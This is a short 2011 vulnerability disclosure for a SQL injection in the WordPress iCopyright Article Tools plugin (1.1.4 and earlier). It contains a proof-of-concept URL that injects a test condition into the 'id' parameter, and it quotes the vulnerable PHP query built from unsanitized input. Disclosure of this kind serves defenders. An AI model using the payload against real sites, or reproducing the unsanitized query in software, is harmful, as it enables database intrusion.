# Exploit Title: WordPress iCopyright(R) Article Tools plugin <= 1.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/copyright-licensing-tools.zip
# Version: 1.1.4 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/copyright-licensing-tools/icopyright_xml.php?id=1' AND 1=1--%20

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Vulnerable code
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$icopyright_post_id = $_GET['id']; //requested post id
...
$response = $wpdb->get_results("SELECT * FROM $posttable JOIN $usertable on $posttable.post_author=$usertable.ID WHERE $posttable.ID = '$icopyright_post_id'");